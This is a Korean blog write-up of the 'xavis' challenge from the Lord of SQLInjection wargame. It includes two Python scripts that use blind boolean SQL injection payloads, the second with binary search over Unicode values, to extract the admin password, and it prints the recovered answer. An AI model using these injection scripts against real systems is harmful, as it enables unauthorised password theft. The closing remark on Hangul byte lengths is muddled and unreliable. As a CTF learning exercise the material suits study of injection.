Wargame/Lord of SQLInjection
[LOS] xavis
Grini
2020. 3. 19. 22:45
[xavis] https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php
다른 문제들과는 다르게 쿼리문의 결과를 두 번으로 나누어 처리한다.
첫 번째 쿼리문의 결과를 이용하여 pw의 길이와 값을 알아낼 수 있다.
하지만 admin의 pw와 입력한 값이 같은지 비교하기 때문에 admin pw를 알아내야 한다.
별다른 필터링이 없어 쉽게 pw를 알아낼 수 있을 것 같다.
그래서 아래의 코드를 이용하여 pw를 찾아보았다.
[ 소스 코드 ]
#!/usr/bin/python
import requests
cookies = {'PHPSESSID':'km06aus2loj9joi3vgak9i580i'}
url = 'https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php'
length = 1
while True:
data = "?pw=' or length(pw)=" + str(length) + "%23"
r = requests.get(url + data, cookies = cookies)
if r.text.find('Hello admin') != -1:
break
length += 1
print ("[*] Get Password Length : ", length)
passwd = ''
for i in range (1, length+1):
for j in range(1, 127):
data = "?pw=' or ord(substr(pw," + str(i) + ",1))<" + chr(j) + "%23"
r = requests.get(url + data, cookies = cookies)
if r.text.find("Hello admin") != -1:
passwd += chr(j)
print ("[+] Finding ... ", passwd)
break
print ("[*] Get Password : ", passwd)
[ 실행 결과 ]
글자수도 맞지 않고,,, 잘못된 pw를 찾았다.
무엇이 문제일까 고민하다 힌트를 보니 UNICODE 문제였다.
나는 pw를 찾을 때 ASCII CODE만 고려하였기 때문에 pw를 찾지 못한 것이다.
UNICODE는 엄청 많기 때문에 다 확인해 보기에는 시간이 너무 오래 걸린다.
따라서, 이진탐색 알고리즘을 이용하여 코드를 구현하였다.
[ 소스 코드 ]
#!/usr/bin/python
import requests
cookies = {'PHPSESSID':'km06aus2loj9joi3vgak9i580i'}
url = 'https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php'
def getPwLength():
global length
length = 1
while True:
data = "?pw=' or length(pw)=" + str(length) + "%23"
r = requests.get(url + data, cookies = cookies)
if r.text.find('Hello admin') != -1:
print ("[*] Success Get Length : ", length)
break
length += 1
def SearchPwValue(start, end, idx):
pivot = int((start + end)/2)
if end < start:
print ("[*] Find Value => [Ord] %5d, [Hex]" % pivot, hex(pivot))
return pivot
data = "?pw=' or ord(substr(pw," + str(idx) + ",1))<" + str(pivot) + "%23"
r = requests.get(url + data, cookies = cookies)
if r.text.find("Hello admin") != -1: SearchPwValue(start, pivot - 1, idx)
else: SearchPwValue(pivot + 1, end, idx)
def getPwValue():
for i in range(1, length + 1):
SearchPwValue(0, 100000, i)
print ("[*] Success Get Admin Password")
getPwLength()
getPwValue()
[ 실행 결과 ]
Password UNICODE : 0xc6b0, 0xc655, 0xad73
유니코드 디코더를 이용하여 변환해보면 "우왕굳"이 나온다.
[UNICODE Decoder] https://www.dcode.fr/unicode-coding
?pw=우왕굳
알파벳의 경우 UTF-8 인코딩 시 1byte를 차지하지만,
한글의 경우 3byte이지만 4byte로 유니코드의 문자를 표현한다.
따라서, 한글 3글자이지만 패스워드의 길이가 12로 구해진 것 같다.